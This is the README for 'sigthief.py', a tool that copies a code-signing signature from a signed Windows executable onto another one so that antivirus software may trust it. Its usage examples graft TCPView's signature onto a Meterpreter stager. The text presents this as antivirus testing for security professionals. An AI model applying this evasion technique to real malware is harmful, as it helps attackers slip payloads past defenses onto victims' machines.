Stealing Signatures and Making One Invalid Signature at a Time (Unless you read this: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf)
For security professionals only…
What is this?
I’ve noticed during testing against Anti-Virus over the years that each is different and each prioritize PE signatures differently, whether the signature is valid or not. There are some Anti-Virus vendors that give priority to certain certificate authorities without checking that the signature is actually valid, and there are those that just check to see that the certTable is populated with some value. It’s a mess.
So I’m releasing this tool to let you quickly do your testing and feel free to report it to vendors or not.
In short it will rip a signature off a signed PE file and append it to another one, fixing up the certificate table to sign the file.
Of course it’s not a valid signature and that’s the point!
I look forward to hearing about your results!
How to use
Usage: sigthief.py [options] Options: -h, --help show this help message and exit -i FILE, --file=FILE input file -r, --rip rip signature off inputfile -a, --add add signautre to targetfile -o OUTPUTFILE, --output=OUTPUTFILE output file -s SIGFILE, --sig=SIGFILE binary signature from disk -t TARGETFILE, --target=TARGETFILE file to append signature too -c, --checksig file to check if signed; does not verify signature -T, --truncate truncate signature (i.e. remove sig)
Take a Signature from a binary and add it to another binary
$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe Output file: /tmp/msftesting_tcpview.exe Signature appended. FIN.
Save Signature to disk for use later
$ ./sigthief.py -i tcpview.exe -r Ripping signature to file! Output file: tcpview.exe_sig Signature ripped. FIN.
Use the ripped signature
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe Output file: x86_meterpreter_stager.exe_signed Signature appended. FIN.
Truncate (remove) signature
This has really interesting results actually, can help you find AVs that value Signatures over functionality of code. Unsign putty.exe 😉
$ ./sigthief.py -i tcpview.exe -T Inputfile is signed! Output file: tcpview.exe_nosig Overwriting certificate table pointer and truncating binary Signature removed. FIN.
Check if there is a signature (does not check validity)
$ ./sigthief.py -i tcpview.exe -c Inputfile is signed!